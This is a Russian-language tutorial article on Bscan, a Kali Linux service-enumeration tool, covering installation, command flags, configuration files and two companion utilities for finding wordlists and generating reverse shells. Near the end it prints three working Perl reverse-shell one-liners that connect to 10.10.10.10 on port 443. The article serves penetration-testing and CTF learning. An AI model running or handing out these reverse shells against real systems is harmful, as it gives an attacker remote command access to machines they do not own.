Bscan - это утилита командной строки для активного сбора информации и перечисления сервисов. По своей сути, Bscan асинхронно создает процессы известных утилит сканирования, перенаправляя результаты сканирования в выделенный вывод консоли, структурировано сохраняя результаты в определенный каталог, который указал юзер ранее.
Установка
Bscan был написан под Kali Linux, но как утверждает создатель, если ваша OS имеет все нужные установленные утилиты, то программа должна работать без ошибок.
Если ваша ОС - Линукс, то следующая строка будет вам знакома и не сложна:
wget -O bscan https://releases.brianwel.ch/bscan/linux
Если же Виндоус, то команда будет довольна необычна:
powershell -c "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; wget 'https://releases.brianwel.ch/bscan/windows' -OutFile 'bscan.exe'"
Так же, одним из вариантов может быть установка через PyPi. Чтобы установить последнюю версию, нужно ввести следующую строку. Убедитесь что используете версию Python'а 3,6+ !:
pip install bscan
В противном случае, при использовании версии 3,5 и меньше, будут возникать ошибки:
Или же можно установить через ссылку github'а:
pip install https://github.com/welchbj/bscan/archive/master.tar.gz
Несколько слов о лицензии
Код выпущен под лицензией
Ссылка скрыта от гостей
, что придает значимости проекта и утилиты.Так же Bscan не является утилитой для проведения различных хакерских атак, при сборе информации, и других нелегальных вещей. Утилита была создана для учебных целей и мероприятий, к примеру для использования в CTF. Также код не должен запускаться на компьютерах и в сетях, без предварительного соглашения владельца.
Использование
Использовать bscan довольно удобно, как и все утилиты под Kali
Команда bscan —help демонстрирует большие возможности утилиты:
Пример использования
Код:
$ bscan \
> --max-concurrency 3 \
> --patterns [Mm]icrosoft \
> --status-interval 10 \
> --verbose-status \
> scanme.nmap.org
Произведем разбор написанного:
- --max-concurrency 3 – это обозначает, что не больше чем 3 параллельных процессов сканирования будут запущенны вовремя.
- --patterns [Mm]icrosoft – определяет пользовательский шаблон регулярных выражений, с помощью которого можно выделить совпадения в сгенерированном результате сканирования.
- --status-interval 10 – сообщает bscan'у вывести на экран время выполнения каждые 10 секунд.
- --verbose-status – обозначает, что каждый из стаусов выполнения будет выводить детали обо всех процесов сканирования.
- scanme.nmap.org – непосредственно сам хост, над которым будут выполняться процессы.
Также, bscan полагается на дополнительные файлы конфигурации. Дефолтные файлы можно найти в директории bscan/configuation:
- patterns.txt - указывает шаблоны регулярных выражений, которые будут выделены в выводе консоли при сопоставлении с выводом сканирования.
- required-programs.txt - демонстрирует установленные программы, которые bscan планирует использовать.
- port-scans.toml - определяет сканирование на обнаружение портов, которое должно быть выполнено на цели /целях, а также регулярные выражения, используемые для анализа портов и имен служб из результатов сканирования
- service-scans.toml - определяет сканирование, выполняемое на цели (ях) для каждого основного сервиса.
Сопутствующие инструменты
Основная утилита bscan идет вместе с двумя дополнительными утилитами (bscan-wordlists и bscan-shells), что бы сделать вашу жизнь чуточку легче при поиске списков слов и в попытке открыть обратный shell'ы.
Bscan-wordlists это программа созданная, как я уже описал выше для поиска файлов списков слов в Kali Linux (с другими дистрибутивами тоже работает, но с Kali все же лучше). Эта программа ищет несколько каталогов по умолчанию и допускает поиск по шаблонам поиска и сопоставление по названию файлов. Например:
Код:
$ bscan-wordlists --find "*win*"
/usr/share/wordlists/wfuzz/vulns/dirTraversal-win.txt
/usr/share/wordlists/metasploit/sensitive_files_win.txt
/usr/share/seclists/Passwords/common-passwords-win.txt
Так же bscan-wordlists —help позволит вам узнать другие функции утилиты:
bscan-shells — программа, которая генерирует вариации одно строчных обратных shell“ов, с уже заполненной информацией: целью(или таргетом) и портом. Вот, к примеру, вариация шелов с целью — 10.10.10.10 и портом 443:
Код:
$ bscan-shells --port 443 10.10.10.10 | grep -i -A1 perl
perl for windows
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"10.10.10.10:443");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
perl with /bin/sh
perl -e 'use Socket;$i="10.10.10.10";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
perl without /bin/sh
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"10.10.10.10:443");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
Так же обратите внимание, что bscan-shells выводит шеллы из конфигурационного файла reverse-shells.toml. И как всегда, --help поможет вам подробнее разобраться с доп. утилитой:
Спасибо за внимание!